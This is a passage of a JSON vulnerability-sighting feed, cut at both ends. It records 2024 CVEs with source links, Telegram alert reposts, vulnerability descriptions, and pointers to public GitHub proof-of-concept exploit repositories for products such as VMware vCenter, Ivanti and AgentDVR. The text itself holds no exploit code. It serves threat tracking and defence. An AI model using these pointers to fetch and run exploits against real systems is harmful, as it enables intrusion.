"c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d8544d24-ed2b-4062-9f3a-4c28c63647f3", "content": "", "creation_timestamp": "2024-12-04T05:44:04.024593Z"}, {"uuid": "629a88b3-3b04-4b89-ac94-6187062a7fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-22023", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/06b268ae-939c-4fb6-91b5-28d20ef6f609", "content": "", "creation_timestamp": "2025-05-12T06:22:54.658493Z"}, {"uuid": "62b3015f-6f3d-46ed-8c40-005d5bfdee55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-22053", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/06b268ae-939c-4fb6-91b5-28d20ef6f609", "content": "", "creation_timestamp": "2025-05-12T06:22:54.658493Z"}, {"uuid": "8762d1bc-f634-4379-bf3b-24b6231bab9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-22052", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/06b268ae-939c-4fb6-91b5-28d20ef6f609", "content": "", "creation_timestamp": "2025-05-12T06:22:54.658493Z"}, {"uuid": "176d6dce-7520-46ff-8ed9-581e92f7fd91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22611", "type": "seen", "source": "https://gist.github.com/alon710/325f8e1b40ecea99be8151b391c88d88", "content": "", "creation_timestamp": "2026-01-24T21:26:33.000000Z"}, {"uuid": "c5a13bd3-fc45-4880-a133-e0217c4991dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-2236", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4df206e5-a234-4196-8f17-6d18c30805f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22611", "type": "seen", "source": "https://gist.github.com/alon710/ae00337f1e0846f45fb2c7e9268320cf", "content": "", "creation_timestamp": "2026-01-24T22:41:56.000000Z"}, {"uuid": "8a2942bc-f1c6-4ea0-8ccc-4bfca35c98a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22018", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "6c226cbe-cccf-4e33-bc0a-1a21f22bf852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22025", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "264df00c-576f-4f78-a6ac-62a7e48565f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22195", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "b87b6c30-b95b-49f7-93f2-e382ddbaa4d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "93b8c1f7-364d-453f-8e2c-d37b549036aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8318", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aReproducing the following CVEs with dockerfile:CVE-2024-33644 CVE-2024-34370 CVE-2024-22120\nURL\uff1ahttps://github.com/Akshath-Nagulapally/ReproducingCVEs_Akshath_Nagulapally\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-20T21:31:55.000000Z"}, {"uuid": "f0993f39-5844-4550-bb02-c524b4ad2f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22862", "type": "published-proof-of-concept", "source": "https://t.me/orderofsixangles/2145", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0445 CVE (Integer Overflow) \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0437\u0437\u0438\u043d\u0433\u043e\u043c\n\nhttps://securityonline.info/cve-2024-22860-cve-2024-22862-critical-ffmpeg-remote-code-execution-flaws/", "creation_timestamp": "2024-01-30T04:44:46.000000Z"}, {"uuid": "0420cfda-6688-4273-a38d-c6a13ad94370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22860", "type": "published-proof-of-concept", "source": "https://t.me/orderofsixangles/2145", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0445 CVE (Integer Overflow) \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0437\u0437\u0438\u043d\u0433\u043e\u043c\n\nhttps://securityonline.info/cve-2024-22860-cve-2024-22862-critical-ffmpeg-remote-code-execution-flaws/", "creation_timestamp": "2024-01-30T04:44:46.000000Z"}, {"uuid": "e663a3ca-a42a-4a96-83ae-1085d980a176", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22464", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13264", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22464\n\ud83d\udd25 CVSS Score: 6.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: \nDell EMC AppSync, versions from 4.2.0.0 to 4.6.0.0 including all Service Pack releases, contain an exposure of sensitive information vulnerability in AppSync server logs. A high privileged remote attacker could potentially exploit this vulnerability, leading to the disclosure of certain user credentials. The attacker may be able to use the exposed credentials to access the vulnerable system with privileges of the compromised account.\n\n\n\ud83d\udccf Published: 2024-02-08T09:23:48.927Z\n\ud83d\udccf Modified: 2025-04-24T15:56:31.540Z\n\ud83d\udd17 References:\n1. https://www.dell.com/support/kbdoc/en-us/000221932/dsa-2024-072-security-update-for-dell-emc-appsync-for-vulnerabilities", "creation_timestamp": "2025-04-24T16:06:46.000000Z"}, {"uuid": "95fcaf23-33e7-4bd4-9d30-fde07336f2f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22195", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "f5949fa2-1b82-4fd5-8af0-7925da8b4e95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22127", "type": "published-proof-of-concept", "source": "Telegram/0BktyqjdT1jH1XVTqezzVZdgYt6Xr2AbrSq2Qm63rAu8snM", "content": "", "creation_timestamp": "2025-11-21T15:00:09.000000Z"}, {"uuid": "7a9fe84f-0e47-49dc-b032-3bf04b9abade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22275", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7891", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22275: Partial File Read in VMware vCenter Server\nURL\uff1ahttps://github.com/mbadanoiu/CVE-2024-22275\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-06T18:31:23.000000Z"}, {"uuid": "49e41cbd-0367-49c6-a926-d67233857db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22880", "type": "seen", "source": "https://t.me/cvedetector/20229", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22880 - Zadarma Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22880 \nPublished : March 13, 2025, 2:15 p.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Zadarma Zadarma extension v.1.0.11 allows a remote attacker to execute a arbitrary code via a crafted script to the webchat component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T17:17:37.000000Z"}, {"uuid": "ea91f562-8361-4fce-94fc-d41ec4696ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22722", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/50429", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2024-22722 RCE via SSTI Automation with Python.\nURL\uff1ahttps://github.com/terribledactyl/Form-Tools-3.1.1-RCE\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-09-06T00:15:18.000000Z"}, {"uuid": "e3f5086d-6d17-456c-8456-bf1c947e4e97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7890", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22274: Authenticated Remote Code Execution in VMware vCenter Server\nURL\uff1ahttps://github.com/mbadanoiu/CVE-2024-22274\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-06T18:17:25.000000Z"}, {"uuid": "730d181f-bd3d-4a4c-833e-5b49f0c9a3ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22340", "type": "seen", "source": "https://t.me/cvedetector/20025", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22340 - IBM Common Cryptographic Architecture Timing Attack\", \n  \"Content\": \"CVE ID : CVE-2024-22340 \nPublished : March 11, 2025, 1:15 a.m. | 24\u00a0minutes ago \nDescription : IBM Common Cryptographic Architecture 7.0.0 through 7.5.51   \n  \n  \n  \ncould allow a remote attacker to obtain sensitive information during the creation of ECDSA signatures to perform a timing-based attack. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T03:24:48.000000Z"}, {"uuid": "5893a4fe-b730-47b9-b7ad-3c7eed50a58c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22768", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-12)", "content": "", "creation_timestamp": "2026-04-12T00:00:00.000000Z"}, {"uuid": "17d46304-b6e0-4b57-a31b-9680b9a38c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-22000", "type": "seen", "source": "https://bsky.app/profile/madre-ia.bsky.social/post/3mjgduccc7l2d", "content": "", "creation_timestamp": "2026-04-14T02:35:41.717075Z"}, {"uuid": "274da813-2e13-4f11-9650-9d167fb65195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22476", "type": "published-proof-of-concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/intel_neural_compressor_cve_2024_22476", "content": "", "creation_timestamp": "2024-06-11T19:26:40.000000Z"}, {"uuid": "5f301955-247e-492d-a34d-732693ad4742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/696", "content": "#exploit\n1. Heap exploitation, glibc internals and nifty tricks\nhttps://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html\n\n2. CVE-2024-22243:\nURL-parsing vulnerability in Java Spring Framework\nhttps://github.com/SeanPesce/CVE-2024-22243", "creation_timestamp": "2024-08-02T06:46:35.000000Z"}, {"uuid": "0c29b5ec-8f6b-4f5c-8397-0111a3739a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22198", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8067", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aIdentify Nginx-ui version and check if it's vulnerable to CVE-2024-22198\nURL\uff1ahttps://github.com/xiw1ll/CVE-2024-22198_Checker\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-24T14:02:54.000000Z"}, {"uuid": "ec97e6a5-b8c9-478c-a222-b5f3dd1a56e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22280", "type": "seen", "source": "https://t.me/cKure/13263", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 VMware has fixed the critical SQL injection vulnerability CVE-2024-22280 (CVSS 8.5) in Aria Automation.\n\nVMware Aria Automation is a modern cloud automation platform that simplifies and streamlines the deployment, management and governance of cloud infrastructure and applications.\n\nIt provides a unified platform for automating tasks across multiple cloud environments, including VMware Cloud on AWS, VMware Cloud on Azure, and VMware Cloud Foundation.\n\nAn authenticated attacker could exploit the vulnerability by injecting specially crafted SQL queries and performing unauthorized read/write operations on the database.\n\nDiscovered by researchers at the Canadian Government Cyber \u200b\u200bDefense Center (CGCD), the vulnerability affects VMware Aria Automation version 8.x and Cloud Foundation versions 5.x and 4.x.\n\nVMware states that there are no workarounds for this issue and patches are recommended to resolve CVE-2024-22280.", "creation_timestamp": "2024-07-11T22:32:12.000000Z"}, {"uuid": "8e3b65a2-9a3d-455f-b9c1-af1ec1569aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22927", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mk6vwtmun32i", "content": "", "creation_timestamp": "2026-04-23T21:03:10.794390Z"}, {"uuid": "35bc376f-21f9-4a8d-a750-e243e921c90f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22341", "type": "seen", "source": "https://t.me/cvedetector/18701", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22341 - IBM Watson Query on Cloud Pak for Data Privilege Management Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22341 \nPublished : Feb. 22, 2025, 1:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : IBM Watson Query on Cloud Pak for Data 4.0.0 through 4.0.9, 4.5.0 through 4.5.3, 4.6.0 through 4.6.6, 4.7.0 through 4.7.4, and 4.8.0 through 4.8.7 could allow unauthorized data access from a remote data source object due to improper privilege management. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-22T04:08:04.000000Z"}, {"uuid": "29d9e9f4-c889-45fe-af68-bbbc0e0e9241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22734", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9284", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit POC for CVE-2024-22734\nURL\uff1ahttps://github.com/securekomodo/CVE-2024-22734\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-01T17:00:10.000000Z"}, {"uuid": "4c32a81b-7fe9-4017-8144-a805a7f5e77c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8225", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aThis is my exploit for CVE-2024-22120, which involves an SSRF vulnerability inside an XXE with a Gopher payload.\nURL\uff1ahttps://github.com/g4nkd/CVE-2024-22120-RCE-with-gopher\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-09T21:23:44.000000Z"}, {"uuid": "5557ff2b-51a2-46a1-bb9f-5c2af101a6d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8324", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a(CVE-2024-22263) Spring Cloud Dataflow Arbitrary File Writing Scanner\nURL\uff1ahttps://github.com/securelayer7/CVE-2024-22263_Scanner\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-21T20:12:10.000000Z"}, {"uuid": "7e5a90f1-a037-4623-9592-c8851742c481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22064", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/665", "content": "#cryptography\n#WLAN_Security\n\"Diffie Hellman Picture Show: Key Exchange Stories from Commercial VoWiFi Deployments (CVE-2024-22064)\", 2024.", "creation_timestamp": "2024-07-31T12:00:34.000000Z"}, {"uuid": "ba64994e-1a96-43b2-b90c-b12388373d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7984", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aPoC -  Authenticated Remote Code Execution in VMware vCenter Server (CVE-2024-22274 Exploit))\nURL\uff1ahttps://github.com/l0n3m4n/CVE-2024-22274-RCE\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-07-15T07:43:05.000000Z"}, {"uuid": "7deafea5-bd5f-43fe-b282-c0af4474c112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2297", "type": "seen", "source": "https://t.me/cvedetector/19018", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-2297 - Bricks WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-2297 \nPublished : Feb. 27, 2025, 6:15 a.m. | 54\u00a0minutes ago \nDescription : The Bricks theme for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.6.1. This is due to insufficient validation checks placed on the create_autosave AJAX function. This makes it possible for authenticated attackers, with contributor-level access and above, to execute arbitrary PHP code with elevated (administrator-level) privileges. NOTE: Successful exploitation requires (1) the Bricks Builder to be enabled for posts (2) Builder access to be enabled for contributor-level users, and (3) \"Code Execution\" to be enabled for administrator-level users within the theme's settings. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T08:42:03.000000Z"}, {"uuid": "974e6ad1-a5e5-465b-abae-741fc7b5975d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22222", "type": "seen", "source": "https://t.me/GithubRedTeam/6467", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-20656\nURL\uff1ahttps://github.com/xiaoqiao147/CVE-2024-22222\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-01-22T09:04:47.000000Z"}, {"uuid": "81e02733-d43e-48e4-ae32-3c69f467cd5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22026", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7311", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit POC for CVE-2024-22026 affecting Ivanti EPMM \\\"MobileIron Core\\\"\nURL\uff1ahttps://github.com/securekomodo/CVE-2024-22026\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-15T11:24:51.000000Z"}, {"uuid": "7c11d784-ebb6-4b28-9772-37103c0789bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/7Ml4_lMheQFWoLP8HS6G4y2kPw4O-CbsZ96PEHQtUpuC3WA", "content": "", "creation_timestamp": "2025-05-04T05:10:20.000000Z"}, {"uuid": "a2e09e3c-e96d-4ec0-ba89-099bbad0674c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/P054ImMwjqD_rl7lBAm-hCz5MlTq06QbnDeiIVFMTFFsHy4", "content": "", "creation_timestamp": "2025-05-04T05:11:16.000000Z"}, {"uuid": "48f3cbd0-3eec-4045-b6aa-d77c3c01eb47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6517", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22515 arbitrary file upload and CVE-2024-22514 remote code execution for AgentDVR 5.1.6.0 (Authenticated)\nURL\uff1ahttps://github.com/Orange-418/AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-01-27T15:37:56.000000Z"}, {"uuid": "b6e51710-dc4b-46ae-b3cf-537703e1a809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6517", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22515 arbitrary file upload and CVE-2024-22514 remote code execution for AgentDVR 5.1.6.0 (Authenticated)\nURL\uff1ahttps://github.com/Orange-418/AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-01-27T15:37:56.000000Z"}, {"uuid": "a8ca505e-810b-4a63-b326-faaf7697273b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22416", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6449", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22416 exploit experiments\nURL\uff1ahttps://github.com/mindstorm38/ensimag-secu3a-cve-2024-22416\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-01-18T08:51:29.000000Z"}, {"uuid": "4974dc3d-bb57-4fc2-ae3e-7f2ba87f211e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22939", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6489", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22939\nURL\uff1ahttps://github.com/NUDTTAN91/CVE-2024-22939\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-01-25T06:41:08.000000Z"}, {"uuid": "9587c83d-4c61-4eb4-be35-a329aa915834", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6587", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22024 vulnerability in Ivanti Connect Secure\nURL\uff1ahttps://github.com/labesterOct/CVE-2024-22024\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-02-10T06:26:51.000000Z"}, {"uuid": "134dcff9-f325-4f43-bda3-d0b5ef464753", "vulnerability_lookup_origin": 